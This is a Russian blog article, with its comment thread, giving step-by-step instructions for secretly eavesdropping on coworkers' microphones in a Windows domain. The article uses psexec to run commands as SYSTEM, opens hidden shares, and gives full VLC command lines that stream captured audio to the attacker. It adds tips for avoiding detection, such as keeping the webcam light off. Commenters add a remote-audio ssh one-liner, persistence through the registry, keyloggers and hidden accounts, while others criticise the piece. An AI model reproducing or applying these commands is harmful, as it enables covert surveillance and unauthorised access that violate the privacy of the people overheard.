Подслушиваем в AD


    Введение
    Я только недавно столкнулся с виндовыми доменами (Active Directory) и познаю много нового и удивительного. Так уж получилось, что значительное количество пользователей в домене организации имеют права локальных админов (технические специалисты, программисты и другие) (ведь не редко так бывает?). Но последствия от этого колоссальны. В данной статье мы рассмотрим как можно подслушивать звуки (разговоры, переговоры) на удаленных машинах.

    Необходимо иметь
    • Пользователя в AD с правами локальных админов (или просто знать пароль от локальных админов)
    • Аппаратное средство захвата звука (микрофон) на целевой машине. Наиболее удобный случай — целевая машина является ноутбуком, там встроенный микрофон (и камера :D). Так же нам повезло, если на удаленной машине используется веб-камера или наушники с микрофоном. В противном случае часто можно и самому воткнуть микрофон без палева.
    • Программа захвата и передачи мультимедиа по сети. Будем использовать плеер vlc. (никаких троянов! :))
    • Программа удаленного запуска процессов. Воспользуется psexec из набора PsTools. Великолепно подходит для AD, правда для ее использования как раз и надо иметь права локального админа на целевой машине. Примечательно, что запущенные процессы исполняются от имени SYSTEM (!).

    Практика
    1. Для начала нам нужно закинуть дистрибутив vlc на удаленную машину, если его там не было. Это можно сделать воспользовавшись системными общеми ресурсами типа C$, D$… то есть \\target\C$\. Если общих ресурсов не открыто (значит специально закрыли), то можно будет открыть общий сетевой ресурс при помощи PsExec командой вида:
      net share C$=C:\
      Символ $ на конце означает что сетевой ресурс не будет отображаться в списке открытых сетевых ресурсов компьютера по умолчанию. И так, тривиальным образом закидываем дистрибутив vlc на удаленную машину.
    2. Далее, для запуска vlc нам нужен cmd от удаленной машины. Воспользуемся PsExec, выполнив команду типа:
      psexec.exe \\target\ cmd
      Соответственно мы получим cmd от целевой машины. Окна запущенных программ не будут отображаться на ней (будут, если использовать ключ -i у PsExec). Кстати, PsExec умеет заливать запускаемый файл на удаленную машину, если указать ключ -c. Идем в папку с дистрибутивом vlc.
    3. Теперь самое интересное: запуск vlc с необходимыми параметрами. Для определения параметров командной строки для запуска vlc, мы запустим его у себя, выставим необходимые настройки и посмотрим что за команда получилась. Запускаем vlc, нажимаем медиа -> потоковое вещание. Вкладка «Устройство захвата». Видео устройство поставим на «нет» для избежания лишних ошибок в случае отсутствия камеры и обнаружения нас, в случае если на камере загорится лампочка. Ставим галочку в низу «дополнительные параметры» и смотрим параметры командрой строки.

      Берем от туда "dshow://" (то есть источник — устройства захвата) и " :dshow-vdev=none :dshow-adev= :dshow-caching=200" (то есть, видео устройство — нет; аудио устройство — по умолчанию; кэширование — 200 мс.). Теперь надо настроить вещание нашего мультимедиа, ждем «Поток». В пути назначения добавляем желаемые пути. Я выбрал http с портом 8080, то есть на целевой машине поднимается веб-сервер, с которого можно слушать. Предпочтительнее, конечно, выбирать вещание на нашу машину (или не нашу, от куда перенаправлять при помощи netcat). Уберем галку «включить перекодирование». Перейдем во вкладку параметры и скопируем получившиеся настройки.

      У меня это ":sout=#http{mux=ffmpeg{mux=flv},dst=:8080/} :no-sout-rtp-sap :no-sout-standard-sap :sout-keep"
    4. Таким образом, команда запуска vlc на удаленной машине принимает вид:
      vlc.exe dshow:// :dshow-vdev=none :dshow-adev= :dshow-caching=200 :sout=#transcode{vcodec=h264,vb=0,scale=0,acodec=mp4a,ab=128,channels=2,samplerate=44100}:http{mux=ffmpeg{mux=flv},dst=:8080/} :no-sout-rtp-sap :no-sout-standard-sap :sout-keep
      Можем запускать. Если все хорошо, то целевая машина уже ожидает нашего соединения на порту 8080.
    5. Запускаем наш vlc на нашей машине, с которой будем слушать. Если подключение к веб серверу, то запустить можно с такими аргументами:
      vlc.exe http:// target:8080 (без пробела после http://)
      Если идет вещание на наш компьютер (например по udp на порт 1234), то запустить vlc следует так:
      vlc.exe udp://@:1234
    6. Если все путем, то слушаем


    Заключения
    Очень важно минимизировать привилегии пользователей AD.
    PsExec работает через общедоступный ресурс admin$, но его закрытия могут негативно повлиять на работу в AD. Как точно, не гуглил, но мало ли.
    С некоторыми модификациями способ прокатит не только в AD.

    Линки
    Хорошее описание PsExec
    Wiki по VLC.
    Share post
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 82

      +19
      Необходимо иметь

      * Пользователя в AD с правами локальных админов (или просто знать пароль от локальных админов)
      На этом пост в блоге «Информационная Безопасность» можно было бы и закончить )
      Но за реализацию плюс.
        +2
        Просто, как показывает практика, не все понимают последствия того, что дают кому-то там «право ставить ПО в свою систему самому».
        Вот оригинальный пример последствия.
          0
          Просто, как показывает практика, не все понимают последствия того, что… кто-то начинает заниматься на работе подобными вещами. Хорошо если просто уволят.
            +3
            Просто, как показывает практика, очень повезло если заметят ;)
            Особенно если устраивались на работу только с целью сбора информации )
            0
            «не все понимают последствия того, что дают кому-то там «право ставить ПО в свою систему самому».»
            А у кого-то есть выбор?

            При нормальной корпоративной политике у пользователя не обязательно есть права локального админа на собственном компьютере; а вот у специально выделенного человека-администратора — есть.

            (и пользователь отдает себе отчет, что все его действия подконтрольны администратору, это тоже нормально)
          +1
          Спасибо за идею отключения лампочки на веб-камере.
            +1
            а тут не было способа отключить лампочку. Чтобы она не загорелась предлагается не использовать вебкамеру
            +10
            О боже… Представил себе, как куча хабровчан бросилась подслушивать разговоры молоденьких бухгалтерш о том, что «вот эта новая от Avon из последней коллекции не сушит губы, а у предыдущей был вкус приятней». Или записывать звуки из директорского кабинета, когда тот пялит на столе секретаршу :)
              0
              Во всяком случае метод подходит, когда проходит совещание у начальника в кабинете (а у него не редко либо веб камера для skype, либо ноутбук).
              Это не так смешно как кажется ;) Это очень весомо
                0
                Так и вылететь с работы не долго.
                  +2
                  Если «запалишься» — есть шанс приватно пообщаться со СБ на интимные темы.
                    0
                    Значит прослушку надо начинать с СБ.
                  0
                  Дак надо иметь права локального админа на ноуте начальника, тогда уж… что мягко говоря может вызвать вопросы если вскроется
                    –1
                    Дело в том, что эти права (на сколько я понял) распространяются на весь домен, где комп начальника — не исключение.
                      0
                      тогда это не «локальные» права как минимум :) а права полноценного админа АД
                        0
                        Локального админа можно дать без изменения политик в AD,
                        а из локальной оснастки управления пользователями…
                        Аадмин, создаваемый при установке, чаще всего не отключается при вводе машинки в домен.
                        А он, кроме того, еще и без пароля может оказаться…
                          +1
                          Админы без пароля — не работают по сетке, майкрософт давно закрыла доступ из сети с бланк пассвордами
                            0
                            совершенно спокойно регулируется политикой безопасности.
                              0
                              Ок.
                              При политике по умолчанию, которую 80% никто не трогает, т.к. это является правильной политикой — доступ дефолтовым учеткам с пустым паролям запрещен.
                                0
                                именно эту политику безусловно в корпоративных сетях упрощать не следует, однако майкрософт не закрыла, а позволила регулировать :) так по моему правильнее и звучит и по сути.

                                так же правильным подходом является явное указание кому нельзя подключаться из сети вообще.
                  +4
                  Чтоб не морочить голову с мапингом шар на целевой машине, можно выложить VLC на ресурс, который мапится всем пользователям при логине.
                  Что-то в роде //PDC/common_share.
                  А скрипт запуска (с проверкой доступности VLC) прописать в реестр.
                  Благо, удаленное управление реестром на блюдечке…

                  Нет пределов совершенству ;)
                    0
                    Раз пошло…
                    Можно поднять у себя простюсенький ftp (например, babyftp), а после «psexec.exe \\target\ cmd» слить на удаленную тачку дистр vlc с помощь виндового ftp.exe.
                      +1
                      Зачем поднимать еще сервисов, если и так достаточно способов?
                      Не плодите сущностей сверх необходимого ;)
                        0
                        Бесспорно :) Конечно лучше сделать штатными средствами, тем более когда есть такая возможность :)

                        Просто когда я сидел под виндой у меня всегда были под рукой ftp и web сервера простенькие (на свякий случай). Вот вспомнил и упомянул.
                    +3
                    Мде. Имхо, таким статья место на ксакепе, а не здесь :(
                      0
                      Нормальная статья… В тему.
                      Штатные средства в криво настроенном домене дают инсайдеру массу возможностей.
                      Сегодня значительная часть корпоративных секретов утекает именно через инсайдеров.

                      Тут вам пример показали весьма элегантный
                      и указали пути противодействия явным образом.

                        +3
                        Спасибо, Кэп! (с)
                        Наверное, я упустил момент, с которого стало нормальным плодить говно скрипткиддисов выкладыванием статей по взлому в стиле «нажмите два раза ОК и впишете такие-то и такие-то буковки».
                        Ничего не имею против обзоров уязвимостей, но без инструкций для домохозяек.
                          –1
                          *впишИте. А ещё я не умею готовить местный strike :\
                            –1
                            ну как бы скрипткиддисам нечего ловить в домене, никто их туда не пустит.
                            0
                            мне кажется что там, где у инсайдера масса возможностей, мало что брать есть. там где есть действительно нужная/важная/секретная (по выбору) информация — вопросы безопасности решаются нормальными и проверенными способами, и описанный метод просто не даст эффекта.

                            мало того предполагается владение админскими паролями (локальными или AD), а это уже уровень не просто инсайдера, а инсайдера айтишника обладающего достаточно широкими возможностями и полномочиями и соответственно несущего ответственность и находящегося, скажем так, на особом доверии.

                            в случае инсайдер=админ нет необходимости использовать psexec, vlc и прочее. доступ к логинскриптам и банальный софт записи аудио с микрофона потока на сетевой ресурс решит вообще все вопросы.

                            а показанный метод — это метод мелкого шалуна.
                            0
                            На ксакепе такое не пройдёт :)
                            –9
                            Я только недавно столкнулся с виндовыми доменами (Active Direcotory) и познаю много нового и удивительного.
                            правильно — Active Directory
                              +4
                              Опечатка, исправил, спасибо.
                              Обычно про опечатки в личку скидывают, что бы не засорять коменты ;)
                                –1
                                спасибо за напоминание
                                0
                                Экий вы буквоед :)
                                0
                                А для запуска влц-сервера сколько файлов надо? PsExec умеет заливать нужный ехе на целевую машину и там его исполнять с определенной командой… :)
                                  0
                                  Это же open source! Даже если идет с dll, то можно скомпилить самому без него ;)
                                  Да, умеет, через ключ -c. Просто в данном случае это не оч подходило, по этому не написал. Сейчас дополню…
                                    0
                                    А почему не подходило? Изящное движение рукой и одностроковая команда запускает прослушку :)
                                      0
                                      Я не пробовал, но сомневаюсь что оно подтянет все нужные файлы из дистрибутива vlc…
                                        0
                                        Да, оно только апликацию выливает туда :) Но все же… еще можно сделать чтобы через psexec исполняла VLC, который лежит где-то в сети :)
                                  +1
                                  Необходимо иметь пользователя в AD с правами локальных админов.

                                  Очень важно минимизировать привилегии пользователей AD.

                                  Либо я чего-то не понимаю, либо… Локальные админы же не смогут прослушивать другие компьютеры, потому что они локальные. Себе же права Вы все равно не отберете. Ну не отберете ведь?
                                    –2
                                    В смысле это такие пользователи в AD, которые имеют привилегии админа рабочей станции на всех компьютерах домена. Обычно включают, подразумевая что они будут сидеть только на своем рабочем месте и настраивать только свою машину.
                                      +1
                                      Вообще правильным было бы не давать доменного админа пользователю, а локального на определенной машине… не?
                                        0
                                        Хз, возможно ли так… выбрать машину именно в которой ты будешь иметь определенные привилегии…
                                        Я далек от AD, я линуксойд.
                                        Да и все же, некоторым ролям в организации надо иметь такие привилегии, например, которые занимаются тем или иным сапортом. Этот вопрос, конечно, спорный и решается по ситуации.
                                          +1
                                          Можно. Открывается оснастка с пользователями на локальной машине. В ней находится искомый пользователь домена и добавляется в локальную группу администраторов.
                                            0
                                            Вообще, я думал так все и делают, когда дают локального админа.

                                            Ну админ он у себя на машине. Какой вред он может причинить другим машинам, где он не админ?
                                              0
                                              Как оказалось, не все.
                                              0
                                              Я попробовал, но после нескольких перезагрузок добавленная запись исчезает. Также исчезает после gpupdate /force
                                              Подскажите, пожалуйста что нет. Предложенный Вами метод по идее и есть решение, но вот так вот не работает.
                                                0
                                                Просто у вас в групповых политиках стоит ограничение на локальных админов (по умолчанию его кстати нет) — скорее всего скрипт, «Ограниченные группы» либо что-то из ветки локальных политик регулируют членство через, о чем и говорит применение после gpupdate. Отследите это через GPResult если вам можно. (хмм, не у нас ли вы в домене? :))
                                              +1
                                              Вообще, я тоже юникс-админ. И теперь мне кажется, что даже администратору домена нужно иметь две учётки — администраторскую и обычную.

                                              Бывает иногда необходимость на чужой рабочей станции зайти под своей учёткой. А под администратором домена это делать «не айс». Особенно в том случае, когда на компьютере есть свой локальный админ. А значит, система может быть протроянена предумышленно или завирусована по неосторожности.
                                            +3
                                            В смысле это такие пользователи в AD, которые имеют привилегии админа рабочей станции на всех компьютерах домена.
                                            Это каким же нужно быть админом-идиотом, чтобы в домене всех подряд прописывать в группу, которая включается в локальных админов на всех машинах. Если кого-то нужно сделать админом, то его включат в соответствующую локальную группу на отдельной машине.

                                            Ни в одной нормальной компании/организации такого зашкаливающего дилетантства среди администраторов нет.

                                            Если вы увидите доменного админа, который раздаёт всем подряд админские права на уровне всего AD (Domain Admins) или хотя бы сразу для кучи серверов и рабочих станций, то посоветуйте ему поскорее уволиться и идти домой делать уроки.
                                              0
                                              Ни один мало-мальски адекватный админ так не делает!
                                            +5
                                            В линуксе работало как-то так:

                                            ssh test@remote dd if=/dev/dsp | dd of=/dev/dsp

                                            Видео пробрасывается не намного сложнее.
                                              0
                                              Потрясно!
                                              Но устройство на удаленной машине ведь монопольно занимается? Или нет?
                                                0
                                                Не обязательно…
                                                А если использовать более элегантный метод, то еще проще…
                                                Есть всяких демонов сетевого вещания…
                                              +1
                                              Проверил порт микрофона и заклеил красивой изолентой веб камеру…
                                                0
                                                Картинка ужасна :)
                                                  0
                                                  Когда то написал статью, как получить доступ к коммандной строчке.
                                                  Можно таким же способом «впаривать» и vlc и что нибуть иное.

                                                  Статья понравилась. Спасибо.
                                                  ответить
                                                    0
                                                    А вот если vlс заменить на кейлоггер, то это куда более интересней будет.
                                                      0
                                                      В принципе — да. Это тоже интересно, но они палятся соответствующим ПО (в отличии от vlc). А как делать их беспалевным — вопрос не тривиальный.
                                                        0
                                                        Купить аппаратный :)
                                                        цена вопроса ~70$ существую всех форм и размеров.
                                                        По моему мнению лучший вариант в форме ps/2-usb переходника для клавиатуры.

                                                        Если пользователь имеет физический доступ к системнику любые попытки софверной защиты комичны.
                                                          0
                                                          Системные блоки опечатаны, учетки ограничены, bios запоролен.

                                                          Купля/продажа аппаратных кейлогеров легальна?
                                                            0
                                                            Системные блоки опечатаны, учетки ограничены, bios запоролен.
                                                            Че, вот и клавиатура намертво впаяна, а не тупо воткнута в разьем? :)
                                                            Ну и ненужно быть академиком для использования ножа и скотча.

                                                              0
                                                              >Купля/продажа аппаратных кейлогеров легальна?

                                                              Кого это волнует? Вы и так нарушаете УК +- статья без разницы :)
                                                        0
                                                        Вы не поверите, имея права локального админа на всех компьютерах, можно вытворять любые чудеса. А сисадминам, которые не умеют грамотно устанавливать права пользователей в AD надо отрывать руки и увольнять.
                                                          +16
                                                          Извините, конечно, за прямоту, но эта статья не имеет никакого отношения к информационной безопасности.
                                                          Это какая-то откровенная профанация для школоты.

                                                          1. Причём тут вообще AD и права в AD, если дальше речь идёт про права локального админа на Windows-машине. Зная логин/пароль локального админа, можно точно так же что угодно устанавливать/выполнять на удалённой машине в обычной Windows-Сети без всяких Win-доменов (просто в рабочей группе).

                                                          2. Даже если у кого-то есть права локального админа на своей машине, то это совсем не значит, что у него же есть права локального админа на любой другой машине в домене. Т.е. если вы доменную учётку программиста включили в группу BUILTIN\Administrators (локальную группу на его машине), то он будет иметь админские привилегии только на своей машине, и никаких административных действий на машине начальника, бухгалтера или кого-либо ещё выполнить не сможет.
                                                          Разве что уйдёт в другой кабинет и будет оттуда слушать микрофон своего компа, но для этого ему и удалённо ничего ставить не нужно, всё можно было запустить сидя локально за своим компом.

                                                          3. Если же речь идёт про доменного админа (члена глобальной доменной группы Domain Admins, которая в свою очередь включается в локальную группу BUILTIN\Administrators на всех доменных машинах), то разумеется у него по умолчанию есть админиские права на всех компьютерах в домене.
                                                          Но во-первых, такие права кому попало не дают (максимум кому-то из продвинутых юзеров дадут просто локального админа, но никак не доменного). А во-вторых довольно глупо удивляться, что у доменного админа есть такие права. Тут нет никакой уязвимости, раз ему сами сознательно передали такие привилегии.

                                                          Ваша статья просто о том, как удалённо с помощью VLC media player передавать изображение с веб-камеры и звук с микрофона по сети. Ни о какой информационной безопасности тут речи не идёт.
                                                            0
                                                            Подписываюсь. Сам тоже самое хотел написать. Удивительно, что на таком ресурсе ваш комментарий аж 51й :)
                                                              0
                                                              Да, значительной части я с Вами согласен.
                                                              Но:
                                                              > Но во-первых, такие права кому попало не дают.
                                                              Я в живую видел где дают (потому что трудно иначе, например, как говорилось, техникам надо) и в живую видел как так вот снимают информацию.
                                                              В теории — да, все красиво, идеально и все идиоты что делают не так. На практике сложнее.
                                                              Речь о об уязвимости не шла, а только о не знании. Повторюсь, что в живую видел такую брешь и ее эксплуатирование в организации.
                                                              Статья для ознакомления/напоминания. Профилактика.
                                                                0
                                                                Зачем техникам права администраторов домена?
                                                              +4
                                                              Имея локального админа на всех (OMG!) компьютерах можно делать вообще всё что угодно.
                                                                +1
                                                                Или так:
                                                                Имея рутовые права на сервер, я могу (OMG!) делать с сервером что угодно!
                                                                0
                                                                Еще с помощью psexec ,cmd и net send можно отправлять сообщения пользователю от имени его машины)) Может получиться вроде ИИ. Дальше все зависит от уровня фантазии и наличия свободного времени.
                                                                  0
                                                                  Недавно использовал psexec для запуска BSOD ScreenSaver, люди были озадачены))
                                                                    0
                                                                    В принципе достаточно пустить человека на минуту за свой комп и он запустит скрип на создание скрытого пользователя и к примеру установку радмина. А по поводу локального админа в GPO домена есть настройка- залочить всех админов кроме указанных пользователей.
                                                                      0
                                                                      Кстати, каждый раз читая по информационной безопасности не устаю удивляться насколько актуальна простая и короткая статья The Six Dumbest Ideas in Computer Security написанная ещё в 2005 году, и всего несколькими абзацами начисто лишающая смысла вот такие «профилактические» посты.
                                                                        0
                                                                        Блин. Написал относительно интересную статейку, собрал 57 плюсов за топик, 123 добавили в избранное.
                                                                        Но за всю проделанную работу потерял только 2 бала от кармы. Так потеряю вообще возможность писать. Этим меня вообще в последнее время расстраивает хабр.
                                                                        На инвайт фиг накопишь…
                                                                          0
                                                                          что, нужен псто добра?!
                                                                          0
                                                                          А что на маке? А если маки в сети без сервера?
                                                                            0
                                                                            Не понял вопрос. Что Вы в данном случае подразумеваете под маком и о каком сервере идет речь?
                                                                              0
                                                                              Под маком подразумеваю Apple Macintosh с Mac OS X, в отсутствии сервера Mac OS X Server.
                                                                            0
                                                                            AD тут не причем
                                                                              +1
                                                                              vlc.exe dshow:// :dshow-vdev=none :dshow-adev= :dshow-caching=200 :sout=#transcode{vcodec=none,vb=0,scale=0,acodec=mp3,ab=128,channels=2,samplerate=44100}:http{mux=raw,dst=:8080/} :sout-keep
                                                                              Ваша команда неверная, у меня вот с такой запустилось только.

                                                                              Only users with full accounts can post comments. Log in, please.